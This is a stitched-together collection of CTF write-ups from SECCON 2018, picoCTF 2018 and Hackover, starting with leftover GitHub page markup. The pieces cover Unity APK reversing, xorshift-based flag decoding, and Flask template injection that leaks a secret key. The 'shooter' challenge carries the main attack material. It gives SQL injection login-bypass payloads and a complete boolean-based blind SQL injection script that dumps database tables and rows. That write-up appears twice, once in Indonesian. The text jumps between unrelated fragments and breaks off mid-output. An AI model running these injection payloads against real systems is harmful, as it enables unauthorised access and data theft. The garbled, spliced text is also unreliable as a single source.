octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Full WriteUp Full Writeup on our website: [https://www.aperikube.fr/docs/picoctf_2018/asimplequestion](https://www.aperikube.fr/docs/picoctf_2018/asimplequestion)-------------# TL;DR This was a blind SQLite injection with a given source code in the html comments.
TL;DR1. Key Recovery ==> XOR ct, with flag format2. Reversing Hash() Long Version:The [Write-up](https://sayoojsamuel.github.io/2018/10/26/tile-mate/) can be found here. The must-see 4 line exploit too!
# shooter---**Points:** 434 | **Solves:** 13/653 | **Category:** Reversing shooter Enjoy the game! [Download](shooter.apk_d0d2ed9e7ba3c83354cbbf7ccf82541730b14a72) --- [Bahasa Indonesia](#bahasa-indonesia) ## EnglishWith some recon, we learned that APK is built with Unity. There's also `lib/x86/libil2cpp.so` file, hinting it's built with [IL2CPP](https://docs.unity3d.com/Manual/IL2CPP.html). We used [IL2CppDumper](https://github.com/Perfare/Il2CppDumper) to analyze this APK, and provide the `lib/x86/libil2cpp.so` and `assets/bin/Data/Managed/Metadata/global-metadata.dat` file from APK. We used `Auto (Plus)` method to dump. Then, it produced several files, the most interesting one is `dump.cs` and `script.py`. File `dump.cs` contains classes and interfaces.```c#...public static class Config // TypeDefIndex: 3750{ // Fields public static string domain; // 0x0 public static string stgDomain; // 0x4 public static string devDomain; // 0x8 public static string adminApi; // 0xC}...public class GameDirector : MonoBehaviour // TypeDefIndex: 3753{ // Methods public void .ctor(); // 0xB1BF86 private void Start(); // 0xB1C018 private void ChangeStep(); // 0xB1C123 private void HandleChangingStep(); // 0xB1C13B private void Update(); // 0xB1C41C public void UpdateScore(); // 0xB1C283 public void UpdateMiss(); // 0xB1C36D public void UpdateRanking(string rankingText); // 0xB1C450 public void AddScore(float score); // 0xB1C4F9 public void IncrementMiss(); // 0xB1C530 public void SubmitScore(); // 0xB1C5D3 public void Retry(); // 0xB1C7B6 private IEnumerator PostScore(string name, int score); // 0xB1C716}...``` File `script.py` contains recovered symbols and can be run in IDA to rename stripped functions and symbols.```python...SetString(0x11BB818, r'shooter.pwn.seccon.jp')SetString(0x11BB81C, r'staging.shooter.pwn.seccon.jp')SetString(0x11BB820, r'develop.shooter.pwn.seccon.jp')SetString(0x11BB824, r'/admin')SetString(0x11BB828, r'Score')SetString(0x11BB82C, r'Miss')SetString(0x11BB830, r'PlaneGenerator')SetString(0x11BB834, r'ScoreFormView')SetString(0x11BB838, r'RankingView')SetString(0x11BB83C, r'Ranking')SetString(0x11BB840, r'score')SetString(0x11BB844, r'/api/v1/scores')...``` So we found some interesting domain and endpoints. We tried to access http://staging.shooter.pwn.seccon.jp/admin/ and redirected to a login page. ![login](shooter_login.png) We did some fuzzing, and got error if our password contains `'` character. ![error](shooter_error.png) We suspected that it's vulnerable to SQL injection. We continued to fuzz and finally can login with password `'))) or 1-- -`! Here we can see last 20 scores. ![scores](shooter_scores.png) But other than that, nothing was interesting. We decided to dump database tables using boolean-based SQL injection with this script. We also used binary search to speed up the injection. ```pythonimport requestsimport reimport string def check(s): sess = requests.Session() r = sess.get("http://staging.shooter.pwn.seccon.jp/admin/sessions/new") auth_token = re.findall(r'name="authenticity_token" value="(.+?)"', r.text)[0] data = { "login_id": "admin", "authenticity_token": auth_token, "password": "')))||(select case when ({}) then 1 else 0 end)#".format(s) } r = sess.post("http://staging.shooter.pwn.seccon.jp/admin/sessions", data=data) if not r.ok: return False r = sess.get("http://staging.shooter.pwn.seccon.jp/admin/users", allow_redirects=False) return r.status_code == 200 def dump_tables(): tables = "" while 1: lo = 0 hi = 255 while lo <= hi: mid = (lo+hi)//2 s = "select ascii(substr((select group_concat(table_name) from information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'),{},1)) > {}" s = s.format(len(tables)+1,mid) if check(s): lo = mid+1 else: hi = mid-1 if lo == 0: return tables tables += chr(lo) print(tables) dump_tables()``` We got this output.```aarar_ar_i...ar_internal_metadata,flags,managers,schema_migrations,scorear_internal_metadata,flags,managers,schema_migrations,scores``` Table `flags` sounds interesting. Then, we dumped the columns from the table. ```python...def dump_columns(table_name): columns = "" while 1: lo = 0 hi = 255 while lo <= hi: mid = (lo+hi)//2 s = "select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = '{}'),{},1)) > {}" s = s.format(table_name, len(columns)+1, mid) if check(s): lo = mid+1 else: hi = mid-1 if lo == 0: return columns columns += chr(lo) print(columns) dump_columns("flags")``` We got this output.```iidid,id,v...id,value,created_at,updated_aid,value,created_at,updated_at``` Okay now we should dump all rows with `value` column.```python...def dump_flag(): flag = "" while 1: lo = 0 hi = 255 while lo <= hi: mid = (lo+hi)//2 s = "select ascii(substr((select group_concat(value) from flags),{},1)) > {}" s = s.format(len(flag)+1, mid) if check(s): lo = mid+1 else: hi = mid-1 if lo == 0: return flag flag += chr(lo) print(flag) dump_flag()``` We got this output, and the flag is valid!```SSESECSECC...SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10NSECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}``` Flag: `SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}` ## Bahasa IndonesiaKami mempelajari bahwa APK di-build dengan Unity. Terdapat juga file `lib/x86/libil2cpp.so`, menandakan bahwa di-build juga dengan [IL2CPP](https://docs.unity3d.com/Manual/IL2CPP.html). Kami menggunakan [IL2CppDumper](https://github.com/Perfare/Il2CppDumper) untuk menganalisas APK ini, dan memasukkan file `lib/x86/libil2cpp.so` dan `assets/bin/Data/Managed/Metadata/global-metadata.dat` dari APK. Kami menggunakan metode `Auto (Plus)` untuk dump-nya. Kemudian program tersebut membuat beberapa file, dan yang paling menarik adalah `dump.cs` and `script.py`. File `dump.cs` berisi class dan interface.```c#...public static class Config // TypeDefIndex: 3750{ // Fields public static string domain; // 0x0 public static string stgDomain; // 0x4 public static string devDomain; // 0x8 public static string adminApi; // 0xC}...public class GameDirector : MonoBehaviour // TypeDefIndex: 3753{ // Methods public void .ctor(); // 0xB1BF86 private void Start(); // 0xB1C018 private void ChangeStep(); // 0xB1C123 private void HandleChangingStep(); // 0xB1C13B private void Update(); // 0xB1C41C public void UpdateScore(); // 0xB1C283 public void UpdateMiss(); // 0xB1C36D public void UpdateRanking(string rankingText); // 0xB1C450 public void AddScore(float score); // 0xB1C4F9 public void IncrementMiss(); // 0xB1C530 public void SubmitScore(); // 0xB1C5D3 public void Retry(); // 0xB1C7B6 private IEnumerator PostScore(string name, int score); // 0xB1C716}...``` File `script.py` berisi symbol yang berhasil dilakukan recovery dan dapat dijalankan di IDA untuk mengembalikan nama fungsi dan symbol.```python...SetString(0x11BB818, r'shooter.pwn.seccon.jp')SetString(0x11BB81C, r'staging.shooter.pwn.seccon.jp')SetString(0x11BB820, r'develop.shooter.pwn.seccon.jp')SetString(0x11BB824, r'/admin')SetString(0x11BB828, r'Score')SetString(0x11BB82C, r'Miss')SetString(0x11BB830, r'PlaneGenerator')SetString(0x11BB834, r'ScoreFormView')SetString(0x11BB838, r'RankingView')SetString(0x11BB83C, r'Ranking')SetString(0x11BB840, r'score')SetString(0x11BB844, r'/api/v1/scores')...``` Kami mendapat beberapa domain dan endpoint yang menarik. Kami mencoba mengakseshttp://staging.shooter.pwn.seccon.jp/admin/ dan di-redirect ke halaman login. ![login](shooter_login.png) Kami mencoba melakukan fuzzing, dan mendapat error jika password mengandung karakter `'`. ![error](shooter_error.png) Kami menduga bahwa halaman tersebut vulnerable terhadap SQL injection. Kami meneruskan fuzzing dan akhirnya dapat login dengan password `'))) or 1-- -`! Dari sini kita dapat melihat 20 skor terakhir. ![scores](shooter_scores.png) Akan tetapi, selain itu tidak ada yang menarik. Kami mencoba untuk dump semua tabel database dengan teknik boolean-based SQL injection. Kami juga menggunakan algoritma binary search untuk mempercepat prosesnya. ```pythonimport requestsimport reimport string def check(s): sess = requests.Session() r = sess.get("http://staging.shooter.pwn.seccon.jp/admin/sessions/new") auth_token = re.findall(r'name="authenticity_token" value="(.+?)"', r.text)[0] data = { "login_id": "admin", "authenticity_token": auth_token, "password": "')))||(select case when ({}) then 1 else 0 end)#".format(s) } r = sess.post("http://staging.shooter.pwn.seccon.jp/admin/sessions", data=data) if not r.ok: return False r = sess.get("http://staging.shooter.pwn.seccon.jp/admin/users", allow_redirects=False) return r.status_code == 200 def dump_tables(): tables = "" while 1: lo = 0 hi = 255 while lo <= hi: mid = (lo+hi)//2 s = "select ascii(substr((select group_concat(table_name) from information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'),{},1)) > {}" s = s.format(len(tables)+1,mid) if check(s): lo = mid+1 else: hi = mid-1 if lo == 0: return tables tables += chr(lo) print(tables) dump_tables()``` Kami mendapatkan output ini.```aarar_ar_i...ar_internal_metadata,flags,managers,schema_migrations,scorear_internal_metadata,flags,managers,schema_migrations,scores``` Tabel `flags` terlihat menarik. Kemudian kami melakukan dump kolom untuk tabel tersebut. ```python...def dump_columns(table_name): columns = "" while 1: lo = 0 hi = 255 while lo <= hi: mid = (lo+hi)//2 s = "select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = '{}'),{},1)) > {}" s = s.format(table_name, len(columns)+1, mid) if check(s): lo = mid+1 else: hi = mid-1 if lo == 0: return columns columns += chr(lo) print(columns) dump_columns("flags")``` Kami mendapatkan output ini.```iidid,id,v...id,value,created_at,updated_aid,value,created_at,updated_at``` Oke sekarang saatnya melakukan dump semua baris dengan kolom `value`.```python...def dump_flag(): flag = "" while 1: lo = 0 hi = 255 while lo <= hi: mid = (lo+hi)//2 s = "select ascii(substr((select group_concat(value) from flags),{},1)) > {}" s = s.format(len(flag)+1, mid) if check(s): lo = mid+1 else: hi = mid-1 if lo == 0: return flag flag += chr(lo) print(flag) dump_flag()``` Kami mendapatkan output ini, dan flagnya valid!```SSESECSECC...SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10NSECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}``` Flag: `SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}`
# Flaskcards - Web We are given a webpage where we first register an account and then we have the ability to create cards and view those created cards. After trying some different input, and thinking about the challenge title we figured out this is a SSTI problem and that Flask is used as backend. This can be confirmed by entering > {{ 7*7}} This gives us 49 so it is executed on the backend. Then we can input > {{ config }} This gives us the following output: ><Config {'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'DEBUG': False, 'MAX_COOKIE_SIZE': >4093, 'TEMPLATES_AUTO_RELOAD': None, 'PREFERRED_URL_SCHEME': 'http', 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, >43200), 'SESSION_COOKIE_NAME': 'session', 'SQLALCHEMY_POOL_RECYCLE': None, 'SESSION_COOKIE_SAMESITE': None, >'TRAP_BAD_REQUEST_ERRORS': None, 'SECRET_KEY': 'picoCTF{secret_keys_to_the_kingdom_e8a55760}', 'JSON_SORT_KEYS': True, >'SQLALCHEMY_POOL_SIZE': None, 'SERVER_NAME': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TESTING': False, >'SQLALCHEMY_MAX_OVERFLOW': None, 'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SQLALCHEMY_BINDS': None, >'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), >'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'JSONIFY_MIMETYPE': 'application/json', 'BOOTSTRAP_LOCAL_SUBDOMAIN': None, >'PROPAGATE_EXCEPTIONS': None, 'APPLICATION_ROOT': '/', 'MAX_CONTENT_LENGTH': None, 'ENV': 'production', >'EXPLAIN_TEMPLATE_LOADING': False, 'SESSION_COOKIE_HTTPONLY': True, 'SQLALCHEMY_NATIVE_UNICODE': None, >'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_DOMAIN': False, 'SQLALCHEMY_DATABASE_URI': 'sqlite://', >'BOOTSTRAP_CDN_FORCE_SSL': False, 'SQLALCHEMY_ECHO': False, 'TRAP_HTTP_EXCEPTIONS': False, 'SQLALCHEMY_POOL_TIMEOUT': None, >'BOOTSTRAP_USE_MINIFIED': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'SQLALCHEMY_RECORD_QUERIES': None, >'SESSION_COOKIE_PATH': None}> Boom! We have the flag: picoCTF{secret_keys_to_the_kingdom_e8a55760}
HumanCTF was the 3rd CTF that we’ve joined and this is the 1st write-up for us all.Nearly all web challenges were simple as viewing sources, visiting robots.txt files and etc.But we are new to reverse challenges and our solutions of gettings flags may be weird as hell.
Yes, task with negative points for solving (if you really want to solve... it is base64 encoding). There are two hints: 10 and -10 points. Get a hint with -10 point and you will get +10 points to your score.
- [murmur](#murmur)- [Runme](#runme)- [Special Instructions](#special-instructions)- [Special Device File](#special-device-file)- [block](#block)- [shooter](#shooter)- [tctkToy](#tctktoy) # murmur Thrilling to see the OSASK, I have a copy of 30日でできる! OS自作入門, which teach you to implement a simple OS in 30 days. # Runme Compare the result of GetCommandLineA() to `C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}` The flag is `SECCON{Runn1n6_P47h}` # Special Instructions The architecture of the elf is `moxie`, can be known by `strings`. The binary would print : ```shThis program uses special instructions. SETRSEED: (Opcode:0x16) RegA -> SEED GETRAND: (Opcode:0x17) xorshift32(SEED) -> SEED SEED -> RegA``` Indeed, we can find some weird instructions in binary dump: ```0000154a <set_random_seed>: 154a: 16 20 bad 154c: 04 00 ret 0000154e <get_random_value>: 154e: 17 20 bad 1550: 04 00 ret 00001552 <decode>: 1552: 06 18 push $sp, $r6 1554: 06 19 push $sp, $r7 1556: 06 1a push $sp, $r8 1558: 06 1b push $sp, $r9 155a: 06 1c push $sp, $r10 155c: 06 1d push $sp, $r11``` Here, the implement of xorshift32 is differ from [wiki](https://en.wikipedia.org/wiki/Xorshift) ( I'll show you the reason in the next section ) ```cuint32_t xorshift32(uint32_t state[static 1]){ /* Algorithm "xor" from p. 4 of Marsaglia, "Xorshift RNGs" */ uint32_t x = state[0]; x ^= x << 13; x ^= x >> 17; x ^= x << 15; //the original version is << 5 state[0] = x; return x;}``` Xor `flag`, `randval`, `get_random_value` to get the flag. The flag is `SECCON{MakeSpecialInstructions}` # Special Device File This binary should be more easy to understand, because all you need to do is dragging it into IDA. The key point is how `/dev/xorshift64` work, there are serveral implementation online, it's time comsuming to test everyone. But, the SECCON is hold by japanese, where a japanese engineer would go for searching the information about things they don't understand ? Wiki, but in japanese...... ```cx = x ^ (x << 13);x = x ^ (x >> 7);return x = x ^ (x << 17);``` Again, xor `flag`, `randval`, `get_random_value` to get the flag. The flag is `SECCON{UseTheSpecialDeviceFile}` # block My first time to reverse a unity game, it seems not so hard. Decompress the `.apk`, the `C#` script of game is located at `assets/bin/Data/Managed/Assembly-CSharp.dll`. There are only two methods ,`Start` and `Update`, obviously, the `Update` keep rotate the flag behind, let's modify them to : ```csharp#the axis of object seems not parellel or vertical to camera public void Start(){ base.transform.position = new Vector3(0f, -4.5f, 2f); base.transform.Rotate(new Vector3(0f, -90f, 0f));} public void Update(){}``` Pack it back and launch it. ![flag](./block.png) The flag is `SECCON{4R3_Y0U_CH34+3R?}` # shooter Again,a unity game. Basically, it's arcade game, and the players would be ranked **online** with other players. This one was builded by IL2CPP. How I found that it was builded by IL2CPP (it's also my first time to reverse such thing): First, there is no `Assembly-CSharp.dll`. It may implies the possibility of 2 things (or more) : - The `dll` was some how being packed or obfuscated- The game was build in a different way Second, the layout of diretory seems to be different with last challenge, block. Then I found that there are lots of keywords in `assets/bin/Data/Managed/Metadata/global-metadata.dat` After google it, I could dump the pseudo code from `global-metadata.dat` and `libil2cpp.so` ( main logic ) by [Il2CppDumper](https://github.com/Perfare/Il2CppDumper). But there is nothing valuable in the game logic...... Observing strings, I found there are some weird strings : ```shooter.pwn.seccon.jpstaging.shooter.pwn.seccon.jpdevelop.shooter.pwn.seccon.jp/admin/api/v1/score``` Now, I can get the highest score by sending: ```POST /api/v1/scores HTTP/1.1Expect: 100-continueX-Unity-Version: 2018.2.11f1Content-Type: application/x-www-form-urlencodedContent-Length: 35User-Agent: Dalvik/2.1.0 (Linux; U; Android 8.1.0; Android SDK built for x86 Build/OSM1.180201.007)Host: shooter.pwn.seccon.jpConnection: Keep-AliveAccept-Encoding: gzip score=2147483647&name=zzzzzzzzzzzzzzzzzzzzzzzz``` It's useless, server won't send flag back. And I don't think that the command injection would work. Then, I found that http://staging.shooter.pwn.seccon.jp/admin will redirect you to http://staging.shooter.pwn.seccon.jp/admin/sessions/new ![admin](./admin.png) SQL injection works.... We can login as admin by sending `' ))) UNION (SElECT 1)#` as password. What's more, we can do the time base SQL injection. This part was done by [kaibro](https://github.com/w181496), my teamate. 1. leak first db : `shooter_staging` 1. leak first table in it : `ar_internal_metadata` 1. leak second table in it : `flags` 1. columns in `flags`: - `id` - `value` - `created_at` - `updated_a t` The flag is `SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}`# tctkToy I overdozed, only left an hour to solve this lol By a quick glance, I guess the binary would execute an tcl script, and the goal is to build a window similar to the picture ?
TL;DR the password was visible on the blockchain using the `getStorageAt` method. You could then change the owner and set the seed at your leisure.The exploit from level 2 also worked. [Read More](https://github.com/pietroferretti/ctf/tree/master/secconquals2018/gacha)
*([Original write-up](https://security.meta.stackexchange.com/a/3083/95381) by [@rawsec](https://twitter.com/rawsec/))* ## i-love-heddha (web, 100) A skiddo-friendly continuation of *ez web* that features some extra headers and `base64`. $ curl -s --cookie "isAllowed=true" \ --header "User-Agent: Builder browser 1.0.1" \ --header "Referer: hackover.18" http://207.154.226.40:8080/flag/flag.txt \ | base64 -d hackover18{4ngryW3bS3rv3rS4ysN0}
## Special Device File (Reverse) ### Solution This challenge is similar to [Special Instruction](./spins.md), but the binary is AArch64 ELF, thus we can use decompiler this time. ```cint __cdecl __noreturn main(int argc, const char **argv, const char **envp){ unsigned int fd; // w21 MAPDST char *flag_buf; // x0 __int64 seed; // [xsp+28h] [xbp-8h] seed = 0x139408DCBBF7A44LL; fd = _open("/dev/xorshift64", 1LL, 0LL); _write(); _close(fd); fd = _open("/dev/xorshift64", 0LL, 0LL); flag_buf = decode(&flag, &randval, fd); puts(1LL, flag_buf); puts(1LL, "\n"); _close(fd); exit(0LL);} char *__fastcall decode(char *flag, char *key, unsigned int rng){ char *p; // x21 __int64 i; // x3 if ( *flag ) { p = flag; i = 0LL; do { *p ^= get_random_value(rng) ^ key[i]; ++i; ++p } while ( flag[i] ); } return flag;}``` It's pretty simple. In `main` it will open `/dev/xorshift64`, write something then close it, IDA didn't correctly infer the argument here, we can assume it writes `0x139408DCBBF7A44LL` to the device, which is the seed of the RNG. And then, in the `decode` function, a global encrypted `flag`(`0x1800`) will perform XOR with `randval`(`0x1820`) and `get_random_value`. Simply extract these bytes and simulate the RNG, then we can decrypt the flag. Again, I spent many time on finding the correct version of xorshift64, and finally found it on [Japanese Wikipedia](https://ja.wikipedia.org/wiki/Xorshift). ```python#!/usr/bin/env python3 seed = 0x139408DCBBF7A44mask = 0xFFFFFFFFFFFFFFFF def get_rand(): global seed seed ^= (seed << 13) & mask seed ^= (seed >> 7) & mask seed ^= (seed << 17) & mask return seed with open('runme', 'rb') as f: f.seek(0x1800) flag = f.read(0x20) f.seek(0x1820) randval = f.read(0x20) for i in range(32): r = get_rand() print(chr((flag[i] ^ randval[i] ^ r) & 0xFF), end="")``` The flag is `SECCON{UseTheSpecialDeviceFile}`
When we run the program, we are asked to input "Please may I have the flag?".But when we do, a bunch of garbled text is displayed. As the hint indicates, weneed to split its `stdout` and `stderr` streams. Let's try redirecting `stderr` to `/dev/null` so that only `stdout` is displayed : ````bash/problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4/in-out-error 2>/dev/null <<< "Please may I have the flag?"```` This is what we get : ```Thank you for asking so nicely! We're no strangers to loveYou know the rules and so do IA full commitment's what I'm thinking ofYou wouldn't get this from any other guy I just wanna tell you how I'm feelingGotta make you understand Never gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you We've known each other for so longYour heart's been aching, butYou're too shy to say itInside, we both know what's been going onWe know the game and we're gonna play it And if you ask me how I'm feelingDon't tell me you're too blind to see Never gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you Never gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you(Ooh, give you up)(Ooh, give you up)Never gonna give, never gonna give(Give you up)Never gonna give, never gonna give(Give you up) We've known each other for so longYour heart's been aching, butYou're too shy to say itInside, we both know what's been going onWe know the game and we're gonna play it I just wanna tell you how I'm feelingGotta make you understand Never gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you Never gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you Never gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cryNever gonna say goodbyeNever gonna tell a lie and hurt you``` Yep, just got rickrolled. That was the first time, and not the last. So maybewe need to display `stderr` instead ? ```bash/problems/in-out-error_2_c33e2a987fbd0f75e78481b14bfd15f4/in-out-error 1>/dev/null <<< "Please may I have the flag?"``` This time we get : ```picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7h1ng_b6f5a788}picoCTF{p1p1ng_1S_4_7